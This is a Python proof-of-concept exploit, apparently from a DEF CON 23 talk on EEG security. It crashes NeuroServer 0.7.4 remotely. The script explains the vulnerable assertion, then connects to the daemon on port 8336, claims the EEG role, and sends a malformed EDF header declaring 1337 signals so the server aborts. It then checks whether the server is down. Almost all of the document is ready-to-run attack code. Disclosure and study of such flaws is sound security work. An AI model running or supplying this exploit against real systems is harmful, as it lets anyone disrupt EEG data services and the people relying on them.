#!/usr/bin/env python # # NeuroServer 0.7.4 Remote DoS # # Shown at DEF CON 23 (BioHacking Village) # Brain Waves Surfing - (In)Security in EEG (Electroencephalography) Technologies # Slides: http://goo.gl/44r1HH # # NeuroServer is an EEG (Electroencephalography) TCP/IP Transceiver # http://openeeg.sourceforge.net/doc/sw/NeuroServer/ # # Neuroserver mediates between the raw EEG devices and all the various EEG # applications that the user may wish to run to analyse the incoming EEG data. # Data is transmitted using TCP/IP, which means that the EEG data can just as # easily pass over a network (or even the internet) as stay on the same machine. # Standard EDF is used for header information and for file storage. # The server is designed to run on Windows and Linux. # #------------------------------------------------------------------------------ # # nsd (NeuroServer Daemon) stops if any assertion is triggered inside isValidREDF() at # ~/NeuroServer-0.7.4/src/openedf.c: # ... # assert(isValidREDF(result)); # ... # int isValidREDF(const struct EDFDecodedConfig *cfg) # { # int i; # if (cfg->hdr.dataRecordSeconds != 1.0) { # setLastError("The data record must be exactly 1 second, not %f.", # cfg->hdr.dataRecordSeconds); # return 0; # } # if (cfg->hdr.dataRecordChannels < 1) { # setLastError("The data record must have at least one channel."); # return 0; # } # if (cfg->chan[0].sampleCount < 1) { # setLastError("Channel 0 must have at least one sample."); # return 0; # } # for (i = 1; i < cfg->hdr.dataRecordChannels; ++i) { # if (cfg->chan[i].sampleCount != cfg->chan[0].sampleCount) { # setLastError("Channel %d has %d samples, but channel 0 has %d. These must be the same.", cfg->chan[i].sampleCount, cfg->chan[0].sampleCount); # return 0; # } # } # return 1; # } # import socket import time import sys # Malformed EDF header # Spec: http://www.edfplus.info/specs/edf.html EDF = "0 " # Version EDF += "Alejandro Hernandez " # Patient Identification EDF += "NeuroSky MindWave " # Recording Identification EDF += "07.04.1520.55.28768 EDF+C " # Startdate of Recording EDF += "29 " # Number of Data Records EDF += "1 " # Duration of a Data Record in Seconds EDF += "1337 " # Number of Signals. This value triggers the DoS: assert(cfg->hdr.dataRecordChannels < MAXCHANNELS); EDF += "Electrode EDF Annotations " # Labels and other data per channel EDF += "-32768 -1 32767 1 -32768 -32768 32767 32767 " # PhysiMin PhysiMax DigiMin DigiMax if len(sys.argv) != 2: print 'Usage: ' + __file__ + ' ' sys.exit(1) print r''' __,--"""""""""--,. _ -\'" _\ ^-,_ ,-" _/ \_ , / \ \ ,' /_ | \ / _____,--""" / ) \ / / / ( | | / / ) | | / NeuroServer 0.7.4 Remote DoS \ ( (_/\ ) / \ \ \_ ____,====""" / | \ /" /"" | \_ _,-" |___,-'--------'" | "`------"" --" ,-' / / ---" / \___/ __,-----,___ ) \ ,--'"============""""-'" "-'" | |=================/ /___\===============/ / |=============/" \ \_________,-" | | | | ''' neuroserver = (sys.argv[1], 8336) s = socket.socket() print '|- Connecting to %s on port %s\n' % neuroserver try: s.connect(neuroserver) except Exception, e: print '|- Can\'t connect to %s:%d' % neuroserver print '|- Exception: %s' % (e) sys.exit(1) print '|- Entering in EEG role. NeuroServers\' response:' s.send('eeg\n') # EEG role in NeuroServer print '----------------------------------------------' print s.recv(16).strip('\n') print '----------------------------------------------' print '|- Sending Malformed EDF header (%d bytes):' % len(EDF) print '----------------------------------------------' print EDF print '----------------------------------------------\n' s.send('setheader ' + EDF + '\n') time.sleep(4) print '|- NeuroServer should be dead now. Connecting...\n' try: s = socket.socket() s.connect(neuroserver) except Exception, e: print '|- NeuroServer is down !' print '|- Exception: %s' % (e) else: print '|- NeuroServer is still alive :-\, try again...' finally: s.close() sys.exit(0);